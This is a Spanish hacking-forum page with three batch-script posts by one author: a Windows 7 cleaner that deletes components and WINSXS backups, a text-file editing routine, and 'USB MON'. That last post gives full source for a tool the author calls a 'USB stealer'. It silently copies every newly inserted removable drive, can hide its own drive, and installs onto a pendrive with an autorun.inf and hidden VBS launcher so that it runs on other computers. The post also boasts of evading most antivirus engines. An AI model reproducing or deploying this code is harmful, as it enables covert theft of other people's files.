| |
|
892
|
Programación / Scripting / [BATCH][APORTE] WSS (Windows Seven Shrinker). Limpiador postinstall y WINSXS
|
en: 3 Octubre 2012, 00:24 am
|
Este script es un limpiador post-install de Windows 7 x64- ¿Que quiere decir esto? Cuando instalamos Windows 7 (sin modificar), Microsoft nos llena el sistema con sus florituras, miles y miles de archivos y carpetas extra: - Cursores, fuentes, Salvapantallas, temas de escritorio
- Otros idiomas
- Copias de seguridad
- Sonidos, videos, y todo tipo de archivos multimedia
- etc, etc, etc...
Todo eso es conveniente eliminarlo para ayudar a agilizar/optimizar el sistema en diversos aspectos, como por ejemplo: - Al escanear con un antivirus
- Al desfragmentar
- Al clonar el disco duro
- Al usar el buscador de Windows
- Simplemente para obtener más espacio libre en el disco
- etc...
Y ese es el propósito de este script, limpiar y optimizar, quedarse con lo necesario de una instalación de Windows 7 y eliminar el resto, para siempre!.
WSS es el sustituto de mi antiguo "Windows 7 Xtreme Cleaner" ( Para abreviar lo llamaré: W7XC ), el cual era al mismo tiempo un limpiador post-install y un limpiador de basura normal. Si alguien lo recuerda sabrá de que va la cosa: http://foro.elhacker.net/empty-t344097.0.htmlEn comparación con W7XC, en WSS he eliminado por completo la función de limpiador de programas y basura que tenía W7XC, Porque disponiendo de CCleaner he podido trasladar la mayoría de cosas que eliminaba W7XC a una configuración de Inclusiones para el CCleaner (Si alguien la quiere, que me lo pida), entonces ya no me hace falta usar nunca más esa función lenta de W7XC. Así que he decidido suprimir el limpiador normal y profundizar en el limpiador post-install de W7XC y un reductor de la carpeta WINSXS, mejorandolo de arriba a abajo por completo empezando desde 0, simplificandolo, examinando manualmente las miles de carpetas de WINSXS, mucho trabajo, y este es el resultado, espero que os guste:   - ¿Que es lo que limpia o puede limpiar WSS? Limpieza post-install:Limpieza de componentes activados:
- Cliente de impresion en internet
- Fax y scaner de Windows
- Internet Explorer
- Juegos de Windows
- Puerto LPR
- Servicios XPS
- Tablet PC
- Windows Media Center
- Claves de registro de esquemas de Cursores
- Claves de registro de esquemas de sonido
- Claves de registro de fuentes
- Claves de registro del menu contextual (Nuevo > Archivo inutil)
- Archivos multimedia BMP/GIF/JPG/PNG - AVI/MPG/MP4/WMV
- Archivos temporales
- Ayuda de Windows
- Componentes de Windows (DVD Maker, Photoviewer, Window Mail, Wordpad, Write)
- Cursores
- Documentos publicos
- Enlaces de "Enviar a..."
- Enlaces de "Menu inicio"
- Enlaces WEB
- Fuentes (Menos las necesarias)
- Gadgets
- Idiomas
- Licencias
- Otros archivos
- Salvapantallas
- Sonidos
- Temas de escritorio
- Wallpapers
Reducción de la carpeta WINSXS:- Copias de seguridad de Archivos de localizacion MUI
- Copias de seguridad de Archivos multimedia BMP/JPG/PNG AVI/MPG/MP4/WMV
- Copias de seguridad de Componentes de Windows
- Copias de seguridad de Cursores
- Copias de seguridad de Fuentes
- Copias de seguridad de Gadgets
- Copias de seguridad de Idiomas
- Copias de seguridad de la Ayuda de Windows
- Copias de seguridad de Manifiestos correspondientes a las otras copias elminadas
- Copias de seguridad de Salvapantallas
- Copias de seguridad de Service Pack 1
- Copias de seguridad de Sonidos
- Copias de seguridad de Temas de escritorio
- Copias de seguridad de Wallpapers
- Copias de seguridad temporales
- Otras copias.
Consejos de uso: - 1º - Instalar Windows 7 x64 de manera normal
- 2º - Instalar las librerías necesarias, y las actualizaciones deseadas desde Windows Update (Y Reiniciar el PC para aplicar las actualizaciones!)
- 3º - Usar Windows Seven Shrinker x64
Sobre la limpieza normal tengo que decir que no es en ningún caso dañiña, pero es posible que prefieras mirar detalladamente los "componentes de windows" que se deshabilitan y los que se eliminan por completo en el script antes de usarlo si quizás no te interesa que se elimine uno en particular. Los que se eliminan los he nombrado arriba y los que se deshabilitan están en la configuración del script... Y sobre la reducción de la carpeta WINSXS, ES MUY IMPORTANTE entender los riesgos que puede conllevar una limpieza de la carpeta WINSXS ya que esto puede afectar de forma distinta dependiendo de las características de un PC. Es posible que no puedas instalar varias actualizaciones de Windows Update después de una limpieza de la carpeta WINSXS, por eso recomiendo instalarlas primero.
NO ME HAGO RESPONSABLE EN NINGÚN CASO DE UN POSIBLE FALLO EN EL ENTORNO DE WINDOWS DESPUÉS DE UNA REDUCCIÓN DE LA CARPETA WINSXS CON ESTE SCRIPT
  DESCARGAEl código pesa mucho, más de 1 MB y contiene casi 10.000 lineas de código, Todos los servicios online como "pastebin.com" son muy restrictivos, así que no me ha quedado más remedio que subirlo aquí: http://exoshare.com/download.php?uid=08ESJATX Un saludo.[/list][/list][/list]
|
|
|
|
|
893
|
Programación / Scripting / [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto
|
en: 2 Octubre 2012, 15:58 pm
|
Las dudas más frecuentes sobre Batch suelen ser sobre la manipulación de texto, así que he creado esta rutina para que tengan esta pequeña ayuda. A diferencia del 99% de rutinas parecidas a esta, mi código respeta los caracteres especiales al no usar la expansión. Por contra, resulta más lento el proceso. - ¿Que funciones tiene? - AÑADIR TEXTO AL PRINCIPIO DE UNA LÍNEA
- AÑADIR TEXTO AL FINAL DE UNA LÍNEA
- ELIMINAR UNA LINEA
- INSERTAR UNA LINEA (VACÍA O CON TEXTO)
- REEMPLAZAR UNA LINEA
- REEMPLAZAR PALABRAS DE UNA LINEA
- REEMPLAZAR PALABRAS EN TODAS LAS LINEAS
- ELIMINAR LOS PRIMEROS "X" CARACTERES EN TODAS LAS LÍNEAS
- ELIMINAR LOS ÚLTIMOS "X" CARACTERES EN TODAS LAS LÍNEAS
- CORTAR LAS PRIMERAS "X" LÍNEAS
- CORTAR LAS ÚLTIMAS "X" LÍNEAS
Por ejemplo, para eliminar la linea 5 en un archivo de texto lo usariamos así: Call :TEXTMAN E 5 "Archivo.txt" Léanse la ayuda que está escrita dentro del código antes de usarlo. Espero que a alguien le sirva de ayuda. Saludos.
Versión 0.2, corregido un fallo en la función de L-Versión 0.5@Echo OFF
:: TEXT MANIPULATOR ROUTINE v0.5 :: by Elektro H@cker
REM SYNTAX: :: :: TEXTMAN [ACTION] [LINE(S)] [FILE] [TEXT] :: :: * [LINE(S)] parameter is Optional for some actions :: * [TEXT] parameter is Optional for some actions
REM ACTIONS: :: :: AB = ADD_BEGINNING * Add text to the beginning of a line. :: AE = ADD_ENDING * Add text to the end of a line. :: E = ERASE * Delete a line. :: I = INSERT * Add a empty line (Or a line with text). :: RL = REPLACE_LINE * Replace a entire line. :: RS = REPLACE_STRING * Replace word from line. :: RSA = REPLACE_STRING_ALL * Replace word from all lines. :: C+ = CHARACTER_PLUS * Delete the first "X" characters from all lines. :: C- = CHARACTER_LESS * Delete the last "X" characters from all lines. :: L+ = LINE_PLUS * Cut the first "X" amount of lines. :: L- = LINE_LESS * Cut the last "X" amount of lines. :: GL = GET_LINE * Delete all except "X" line. :: GR = GET_RANGE * Delete all except "X" range of lines.
REM EXAMPLES: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: Delete the line 3 :: :: Call :TEXTMAN E 3 "Test.txt" :: :: :: :: Add a string to the beginning of line 3 :: :: Call :TEXTMAN AL 3 "Test.txt" "Elektro H@cker" :: :: :: :: Add a string to the end of line 3. :: :: Call :TEXTMAN AR 3 "Test.txt" "Elektro H@cker" :: :: :: :: Add a empty line at line 3. :: :: Call :TEXTMAN I 3 "Test.txt" :: :: :: :: Add a line with a word at line 3. :: :: Call :TEXTMAN I 3 "Test.txt" "Elektro H@cker" :: :: :: :: Replace the line 3 with "Elektro H@cker". :: :: Call :TEXTMAN RL 3 "Test.txt" "Elektro H@cker" :: :: :: :: Replace the words "Elektro" to "H@cker" in line 3. :: :: Call :TEXTMAN RS 3 "Test.txt" "Elektro" "H@cker" :: :: :: :: Replace the words "Elektro" to "H@cker" in all lines. :: :: Call :TEXTMAN RSA "Test.txt" "Elektro" "H@cker" :: :: :: :: Delete the first 3 characters in all lines. :: :: Call :TEXTMAN C+ 3 "Test.txt" :: :: :: :: Delete the last 3 characters in all lines. :: :: Call :TEXTMAN C- 3 "Test.txt" :: :: :: :: Delete the first 3 lines. :: :: Call :TEXTMAN L+ 3 "Test.txt" :: :: :: :: Delete the last 3 lines. :: :: Call :TEXTMAN L- 3 "Test.txt" :: :: :: :: Delete all except the line number 3. :: :: Call :TEXTMAN SL 3 "Test.txt" :: :: :: :: Delete all except the 3 to 9 range of lines. :: :: Call :TEXTMAN SR 3 9 "Test.txt" :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
:TEXTMAN (SET /A "A=0", "LINE=0", "TOTAL_LINES=0") & (CALL :%~1 %* || (ECHO Invalid parameter & Exit /B 1)) & (GOTO:EOF) :AB (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (if "%%B" EQU "" ((Echo %~4)>> "%~3.NEW") ELSE ((Echo %~4%%B)>> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :AE (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %%B%~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :E (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B) >> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :I (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF "%%LINE%%" EQU "%~2" (IF NOT "%~4" EQU "" ((Echo %~4) >> "%~3.NEW") ELSE (Echo+>> "%~3.NEW"))" & (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW"))))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :RL (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :RS (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (CALL SET "STRING=%%B" && (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((CALL ECHO %%STRING:%~4=%~5%%)>> "%~3.NEW")))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :RSA (For /F "tokens=1* delims=]" %%A in ('type "%~2" ^| find /n /v ""') DO (CALL SET "STRING=%%B" && (if "%%B" EQU "" (Echo+>> "%~2.NEW") ELSE ((CALL ECHO %%STRING:%~3=%~4%%)>>"%~2.NEW")))) && (CALL :RENAMER "%~2") & (GOTO:EOF) :C+ (For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set "LINE=%%@" && (CALL ECHO %%LINE:~%~2%% >> "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :C- (For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set "LINE=%%@" && (CALL ECHO %%LINE:~0,-%~2%% >> "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF) :L+ (Call SET /A "A=%~2") && (Call TYPE "%~3" |@MORE +%%A%% > "%~3.NEW") && (CALL :RENAMER "%~3") & (GOTO:EOF) :L- (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (CALL SET /A "TOTAL_LINES+=1")) & (CALL SET /A "TOTAL_LINES-=%~2-1") & (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" & Call echo "%%LINE%%"|@FIND "%%TOTAL_LINES%%" >NUL) && (CALL :RENAMER "%~3" && GOTO:EOF) || (Echo %%B >> "%~3.NEW")) :GL (Call SET /A "A=%~2" && Call SET /A "A-=1") && (Call TYPE "%~3" |@MORE +%%A%% > "%temp%\getline.tmp") && (For /F "tokens=1* delims=]" %%A in ('type "%temp%\getline.tmp" ^| find /n /v ""') DO ((if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)> "%~3.NEW"))) && ((CALL :RENAMER "%~3") & (GOTO:EOF))) :GR (For /F "tokens=1* delims=]" %%A in ('type "%~4" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "(IF "%%LINE%%" GEQ "%~2" IF "%%LINE%%" LEQ "%~3" (if "%%B" EQU "" (Echo+>> "%~4.NEW") ELSE ((Echo %%B)>> "%~4.NEW"))) && (IF "%%LINE%%" EQU "%~3" Exit /B 1)" || ((CALL :RENAMER "%~4") & (GOTO:EOF)))))
:RENAMER (REN "%~1" "%~nx1.BAK") & (MOVE /Y "%~1.BAK" "%TEMP%\" >NUL) & (REN "%~1.NEW" "%~nx1") & (GOTO:EOF)
|
|
|
|
|
894
|
Programación / Scripting / [BATCH] [APORTE] USB MON (Roba USB)
|
en: 27 Septiembre 2012, 12:55 pm
|
- ¿Que es USB MON? USB MON (USB Monitor) es un programa portable con el fín de monitorizar los nuevos dispositivos extraibles que se conecten a un PC y copiar automàticamente su contenido a la carpeta de USB MON. USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC en el momento que se ejecuta el programa. En pocas palabras, USB MON es un "roba USB" automàtico. - ¿USB MON es compatible con todas las versiones de Windows? USB MON ha sido testeado únicamente en Windows 7, pero no debería dar problemas en Windows XP y Vista. - ¿Como funciona USB MON? Al ejecutar USB MON se obtiene una lista de las letras de las unidades conectadas al equipo en ese momento, esas letras se descartan y se comienza a monitorizar el resto de letras en el equipo. (Por eso es conveniente los consejos de uso de USB MON) Cuando USB MON detecta un dispositivo extraible insertado en alguna de las letras monitorizadas, se buscan archivos en esa unidad y se copian a la carpeta del programa, excluyendo duplicados de archivos que se hayan copiado anteriormente de esa misma unidad.  - ¿Los antivirus pueden detectar USB MON? En mi último escaneo online solo lo ha detectado 1 de 42 antivirus: DrWeb BATCH.Virus Fecha: 2012-09-26  PD: Más información importante en la ayuda extendida del script. Los parámetros opcionales del programa: /? | Muestra esta ayuda
-ayuda | Muestra la ayuda extendida
-install | Instala USBMON en un dispositivo extraíble
-test | Inicia un test en un dispositivo extraíble USBMON.BATLEER LA PARTE DE "CONFIGURACIÓN" SI QUIEREN PERSONALIZAR ALGUNA COSA. @Echo OFF
Title USB MON v0.2 REM By Elektro H@cker
Setlocal enabledelayedexpansion Color 07
:: :: :: :: :: :: :: :: :: :: :: CONFIGURACIÓN :: :: :: :: :: :: :: :: :: :: :: :: :: :: Directorio de inicio Set "DIR=%~d0" :: :: Directorio del log Set "LOGFILE=.\USBMON.log" :: :: Letras a monitorizar Set "DRIVES= B C D E F G H I J K L M N O P Q R S T U V W X Y Z " :: :: Letras hexadecimales (NO TOCAR) Set "DRIVES_HEX=A:1 B:2 C:4 D:8 E:16 F:32 G:64 H:128 I:256 J:512 K:1024 L:2048 M:4096 N:8192 O:16384 P:32768 Q:65536 R:131072 S:262144 T:524288 U:1048576 V:2097152 W:4194304 X:8388608 Y:16777216 Z:33554432" :: :: Ocultar unidades vacías en "MI PC" (ACTIVAR / DESACTIVAR) Set "HideDrivesWithNoMedia=ACTIVAR" :: :: Ocultar la unidad de inicio de USB MON en "MI PC" (ACTIVAR / DESACTIVAR) Set "HideUSBMONDrive=DESACTIVAR" :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
REM Inicio del LOG Call :Logo Call :Write_Log >NUL Call :Write_Log -------------------- >NUL Call :Write_Log Iniciando USB MON... >NUL Call :Write_Log -------------------- >NUL Call :Write_Log >NUL
REM Ocultar unidades vacías en "MI PC" REG Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" >NUL 2>&1 && ( FOR /F "Tokens=3 Delims= " %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" 2^>NUL') do ( Set "Value=%%a" )) || (Set "Value=0x1") IF /I "%HideDrivesWithNoMedia%" EQU "ACTIVAR" ( IF /I NOT "%Value%" EQU "0x0" ( Call :Write_Log [+] Ocultando las unidades va´c¡as en MI PC... REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "0" /F >NUL ) ELSE ( Set "HideDrivesWithNoMedia=" ) )
REM Ocultar la unidad de inicio de USB MON IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" ( REG QUERY "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" >NUL 2>&1 && (SET "HideUSBMONDrive=") || ( Call :Write_Log [+] Ocultando la unidad de USB MON en MI PC [%DIR%]... FOR %%# in (%DRIVES_HEX%) do ( Echo %%# | FIND "%DIR%" >NUL && ( Call SET "DIR_HEX=%%#" CALL REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /T "REG_DWORD" /D "%%DIR_HEX:~2%%" /F >NUL ) ) ) )
REM Reinicia el proceso explorer.exe Echo " %HideDrivesWithNoMedia% , %HideUSBMONDrive% " | FINDSTR /I "\<ACTIVAR\>" >NUL && ( START /W Taskkill /F /IM "explorer.exe" >NUL START /B explorer.exe Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL) )
REM Para revertir los cambios para "Ocultar unidades vacías en "MI PC"" en el próximo reinicio del sistema IF /I NOT "%Value%" EQU "0x0" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrivesWithNoMedia" /D "CMD /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "1" /F >NUL" /F >NUL) REM Para revertir los cambios para "Ocultar la unidad de inicio de USB MON" en el próximo reinicio del sistema IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" /D "CMD /C REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /F >NUL" /F >NUL)
REM Inicia el servicio de Disco Virtual para poder usar Diskpart :SERVICE Call :Logo SC query "VDS" | FIND /I "PENDING" >NUL && ( Call :Write_Log Hay una detenci£n pendiente del servicio de Disco virtual. Call :Write_Log Esperando a que el servicio pueda reanudarse para continuar... Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL) Goto :Service ) SC query "VDS" | FIND /I "STOPPED" >NUL && ( Call :Write_Log El servicio de Disco virtual est… detenido. Call :Write_Log Iniciando el servicio... sc config "VDS" start= "demand" >NUL 2>&1 sc start "VDS" >NUL 2>&1 || ( Call :Write_Log Call :Write_Log * ERROR CRÖTICO * Call :Write_Log No se pudo iniciar el servicio de Disco virtual, Compruebe sus permisos de usuario. Call :Write_Log Terminando el proceso... Exit /B 1 ) ) & (Call :Write_Log El servicio de Disco virtual se ha iniciado.)
REM Parámetros IF "%~1" EQU "/?" (Goto :command_help) IF /I "%~1" EQU "-ayuda" (Goto :extended_help) IF /I "%~1" EQU "-instalar" (Goto :install) IF /I "%~1" EQU "-test" (Goto :test)
REM Elimina archivos temporales de una sesión anterior DEL /Q "%WINDIR%\Temp\USBMON*" 2>NUL
REM Elimina los discos fijos para la monitorizaci£n For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (Set "DRIVES=!DRIVES: %%# = !")
REM Elimina los dispositivos de DVD-ROM para la monitorizaci£n For %%# in (%DRIVES%) DO (fsutil fsinfo drivetype %%#: | FIND /I "ROM" >NUL && (Set "DRIVES=!DRIVES: %%# = !"))
REM Monitoreo y auto-copiado :MONITOR Call :Logo Echo Unidad de origen: [%DIR%] Call :Write_Log Monitorizando unidades:!DRIVES! Echo+ & Call :Write_Log >NUL For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO ( Echo "%DRIVES%" | FIND /I "%%#" >NUL && ( For /F "Tokens=7,* delims= " %%A in ('Vol %%#: ^| FIND /I " %%# "') Do ( IF "%%B" EQU "tiene etiqueta." (Set "LBL=Sin etiqueta") ELSE (Set "LBL=%%B") Call :Write_Log Hay un dispositivo conectado en la unidad [%%#:] con etiqueta "!LBL!" ) Call :Write_Log [+] Buscando archivos.... DIR /B /A "%%#:\*" >NUL 2>&1 && ( Call :Write_Log [+] Copiando archivos de la unidad [%%#:] a la unidad [%DIR%] MKDIR "%WINDIR%\Temp" 2>NUL MKDIR "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!" 2>NUL IF EXIST "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" ( XCOPY /A /C /E /H /J /K /O /Q /X "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" /EXCLUDE:%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt ) ELSE ( XCOPY /A /C /E /H /J /K /O /Q /X /Y "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" ) DEL /Q "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" 2>NUL PUSHD "%%#:\" For /R %%a in (*) do (Echo %%a>>"%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt") POPD ) || ( Call :Write_Log [+] La unidad est… vac¡a... ) ) ) ) Timeout /T 10 2>NUL || (Ping -n 10 localhost >NUL) Goto :MONITOR
:LOGO CLS ECHO+ ECHO+ .------. ECHO+ _ _ ____ ____ __ __ ___ _ _ ^| from-.-----. ECHO+ ^| ^| ^| ^|/ ___^| ^| __ ) ^| \/ ^| / _ \ ^| \ ^| ^| ^| that-^| -----^| ECHO+ ^| ^| ^| ^|\___ \ ^| _ \ ^| ^|\/^| ^|^| ^| ^| ^|^| \^| ^| ^| -usb-^| to---^| ECHO+ ^| ^|_^| ^| ___) ^|^| ^|_) ^| ^| ^| ^| ^|^| ^|_^| ^|^| ^|\ ^| ^| -----^| -my--^| ECHO+ \___/ ^|____/ ^|____/ ^|_^| ^|_^| \___/ ^|_^| \_^| '------^| drive^| ECHO+ By Elektro H@cker v0.2 '------' ECHO+ GOTO:EOF
:WRITE_LOG Echo %* Call Echo [%DATE%] [%TIME: =%] %* >> "%LOGFILE%" GOTO:EOF
:INSTALL
Call :Logo Set "Extraibles=" For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (Set "Extraibles=!Extraibles! %%#") Echo Dispositivos extraibles conectados:!Extraibles! | MORE Echo Escribe la letra del dispositivo donde se instalar… USB MON... Set /P "DriveDest=>> " If Not exist "%DriveDest%:" (Goto :Install) ELSE (Copy /Y %0 "%DriveDest%:\USBMON.bat" >NUL) Call :Logo Echo Unidad seleccionada: [%DriveDest%:] | MORE
COPY /Y "%CD%\%0.BAT" "%DriveDest%:\%0.BAT" >NUL
Choice /M "¨Quiere crear un autorun.inf?"
If "!ERRORLEVEL!" EQU "1" ( Choice /M "¨Quiere que USBMON se ejecute en modo oculto?" If "!ERRORLEVEL!" EQU "1" ( Set "EXT=vbs" ( Echo Set wshShell = CreateObject("WScript.Shell"^) Echo wshShell.run """" ^& ".\%0.BAT" ^& """", 0 )>"%DriveDest%:\%0.vbs" ) ELSE ( Set "EXT=bat" ) ( Echo [autorun] Echo open=%0.!EXT! Echo shell\USBMON=Ejecutar USB MON Echo shell\USBMON\command=%0.!EXT! Echo shell=USBMON )>"%DriveDest%:\autorun.inf" ) Call :Logo Echo Gracias por utilizar USB MON :^) | MORE Pause&Exit /B 0
:TEST Call :Logo Echo: Comenzando el test... | MORE Echo: [+] Buscando alguna unidad extra¡ble en el PC... Echo list vol | diskpart | FIND /I "xtra" >NUL || ( Echo: * ERROR CRÖTICO * Echo: Porfavor inserta un dispositivo extra¡ble en el PC. Exit /B 1 ) For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO ( IF "%%#:" EQU "%DIR%" ( Echo: * ERROR CRÖTICO * Echo: No debes ejecutar USB MON desde la unidad extra¡ble en este test. Exit /B 1 ) Echo: [+] Unidad extra¡ble encontrada [%%#:] | MORE Call :Write_Log Iniciando un test en la unidad [%%#:] >NUL Set "DRIVES= %%# " MKDIR "%WINDIR%\Temp" 2>NUL DEL /Q "%WINDIR%\Temp\USBMON_[%%#]*" 2>NUL ) Echo: Se procede a monitorizar la unidad [%DRIVES: =%:]... Timeout /T 10 2>NUL || (Ping -n 5 localhost >NUL) Goto :Monitor
:COMMAND_HELP call :Logo Echo: /? ^^^| Muestra esta ayuda | MORE Echo: -ayuda ^^^| Muestra la ayuda extendida | MORE Echo: -install ^^^| Instala USBMON en un dispositivo extra¡ble | MORE Echo: -test ^^^| Inicia un test en un dispositivo extra¡ble | MORE Exit /B 0
:EXTENDED_HELP Call :Logo Echo - ¨Que es USB MON? Echo ________________ | MORE Echo: USB MON (USB Monitor) es un programa portable con el f¡n de monitorizar Echo: los nuevos dispositivos extraibles que se conecten a un PC Echo: y copiar autom…ticamente su contenido a la carpeta de USB MON. | MORE Echo: USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC Echo: en el momento que se ejecuta el programa. | MORE Echo: En pocas palabras, USB MON es un "roba USB" autom…tico. | MORE Pause&Call :Logo
Call :Logo Echo - ¨USB MON es compatible con todas las versiones de Windows? Echo __________________________________________________________ | MORE Echo: USB MON ha sido testeado £nicamente en Windows 7, Echo: pero no deber¡a dar problemas en Windows XP y Vista. | MORE Pause&Call :Logo
Echo - Consejos para un correcto uso de USB MON Echo ________________________________________ | MORE Echo: Es conveniente ejecutar USB MON sin que hayan medios extraibles conectados Echo: en ese momento al PC, ya que esa letra de unidad quedar¡a descartada. | MORE Echo: Es NECESARIO ocultar las unidades vac¡as en MI PC. | MORE Pause&Call :Logo
Echo - ¨Como funciona USB MON? Echo _______________________ | MORE Echo: Al ejecutar USB MON se obtiene una lista de las letras de las unidades Echo: conectadas al equipo en ese momento, esas letras se descartan Echo: y se comienza a monitorizar el resto de letras en el equipo. Echo: (Por eso es conveniente los consejos de uso de USB MON^) | MORE Echo: Cuando USB MON detecta un dispositivo extraible insertado en alguna de las Echo: letras monitorizadas, se buscan archivos en esa unidad y se copian Echo: a la carpeta del programa, excluyendo duplicados de archivos echo: que se hayan copiado anteriormente de esa misma unidad. | MORE Pause&Call :Logo
Echo - ¨Como funciona las opciones de "Ocultar unidades" de USB MON? Echo _____________________________________________________________ | MORE Echo Ocultar unidades vac¡as en "MI PC": Echo: Se escribe una clave en el registro para ocultar las unidades visibles Echo: sin medios insertados. | MORE Echo Ocultar la unidad de inicio de USB MON en "MI PC": Echo: Se escribe una clave en el registro para ocultar la unidad desde Echo: donde se inicia USB MON. | MORE Echo: Los cambios efectuados se revierten en el pr¢ximo reinicio del sistema.| MORE Echo: Si alguna de las dos opciones está activada se reiniciará el proceso del Echo: explorer.exe, para que los cambios surgan efecto al instante. | MORE Pause&Call :Logo
Echo - ¨Los antivirus pueden detectar USB MON? Echo _______________________________________ | MORE Echo: En mi £ltimo escaneo online solo lo ha detectado 1 de 42 antivirus: | MORE Echo: DrWeb BATCH.Virus Echo: Fecha: 2012-09-26 | MORE Pause&Call :Logo
Echo - ¨Que es un autorun.inf? Echo _______________________ | MORE Echo: Un autorun es un archivo de personalizaci¢n preconfigurado para USB/CD/DVD. Echo; Se puede personalizar el aspecto del dispositivo, y ejecutar un proceso. | MORE Echo: Un autorun es detectado por el servicio de Reproducci£n autom…tica de windows, Echo; La ejecuci¢n del autorun depende de que el servico est‚ habilitado en el PC. | MORE Echo: El servicio se puede habilitar desde la herramienta "Services.MSC". | MORE Pause&Call :Logo
Echo - ¨Para que sirve la opci¢n "-instalar" de USB MON? Echo _________________________________________________ | MORE Echo: Sirve para portabilizar el programa hacia una unidad extraible. | MORE Echo: La opci¢n est… pensada para ser instalada en un pendrive, as¡, con Echo: la ayuda de un autorun.inf, poder insertar el pendrive en otro equipo, Echo: y monitorizar ese equipo para copiar los otros medios EXTRAIBLES a tu pendrive. | MORE Pause&Call :Logo
Echo - ¨Para que sirve la opci¢n "-test" de USB MON? Echo _____________________________________________ | MORE Echo: Sirve para realizar una peque¤a prueba de monitorizaci¢n en una Echo: unidad extra¡ble aleat¢ria de tu PC. | MORE Echo: Es una prueba para ver si todo funciona con normalidad. | MORE Echo: PD: El test ha de cancelarse manualmente apretando "CTRL + C" o cerrando CMD. | MORE Pause&Call :Logo
